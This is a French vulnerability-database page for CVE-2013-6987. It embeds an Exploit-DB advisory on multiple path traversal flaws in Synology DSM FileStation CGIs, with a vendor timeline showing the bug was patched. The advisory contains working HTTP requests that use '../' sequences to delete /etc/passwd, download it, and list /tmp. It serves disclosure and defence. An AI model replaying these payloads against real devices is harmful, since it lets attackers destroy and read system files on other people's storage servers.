Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-22 |
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. |
|
Métriques
Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
V2 |
7.5 |
|
AV:N/AC:L/Au:N/C:P/I:P/A:P |
nvd@nist.gov |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 30475
Date de publication : 2013-12-23 23h00 +00:00
Auteur : Andrea Fabrizi
EDB Vérifié : No
**************************************************************
Title: Synology DSM multiple directory traversal
Version affected: <= 4.3-3810
Vendor: Synology
Discovered by: Andrea Fabrizi
Email: andrea.fabrizi@gmail.com
Web: http://www.andreafabrizi.it
Twitter: @andreaf83
Status: patched
CVE: 2013-6987
**************************************************************
I'm again here with a Synology DSM vulnerability.
Synology DiskStation Manager (DSM) it's a Linux based operating
system, used for the DiskStation and RackStation products.
I found a lot of directory traversal in the FileBrowser components.
This kind of vulnerability allows any authenticated user, even if not
administrative, to access, create, delete, modify system and
configuration files.
The only countermeasure implemented against this vulnerability is the
check that the path starts with a valid shared folder, so is enough to
put the "../" straight after, to bypass the security check.
Vulnerables CGIs:
- /webapi/FileStation/html5_upload.cgi
- /webapi/FileStation/file_delete.cgi
- /webapi/FileStation/file_download.cgi
- /webapi/FileStation/file_sharing.cgi
- /webapi/FileStation/file_share.cgi
- /webapi/FileStation/file_MVCP.cgi
- /webapi/FileStation/file_rename.cgi
Not tested all the CGI, but I guess that many others are vulnerable,
so don't take my list as comprehensive.
Following some examples ("test" is a valid folder name):
- Delete /etc/passwd
===========================================
POST /webapi/FileStation/file_delete.cgi HTTP/1.1
Host: 192.168.56.101:5000
X-SYNO-TOKEN: XXXXXXXX
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 103
Cookie: stay_login=0; id=kjuYI0HvD92m6
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
path=/test/../../etc/passwd&accurate_progress=true&api=SYNO.FileStation.Delete&method=start&version=1
===========================================
- Arbitrary file download:
===========================================
GET /fbdownload/?dlink=2f746573742f2e2e2f2e2e2f6574632f706173737764 HTTP/1.1
Host: 192.168.56.101:5000
Connection: keep-alive
Authorization: Basic XXXXXXXX
===========================================
2f746573742f2e2e2f2e2e2f6574632f706173737764 -> /test/../../etc/passwd
- Remote file list:
=========================
POST /webapi/FileStation/file_share.cgi HTTP/1.1
Host: 192.168.56.101:5000
X-SYNO-TOKEN: XXXXXXXX
Content-Length: 75
Cookie: stay_login=0; id=f9EThJSyRaqJM; BCSI-CS-36db57a1c38ce2f6=2
folder_path=/test/../../tmp&api=SYNO.FileStation.List&method=list&version=1
==========================
Timeline:
- 05/12/2013: First contact with the vendor
- 06/12/2013: Vulnerability details sent to the vendor
- 20/12/2013: Patch released by the vendor
Products Mentioned
Configuraton 0
Synology>>Diskstation_manager >> Version 4.3-3810
Références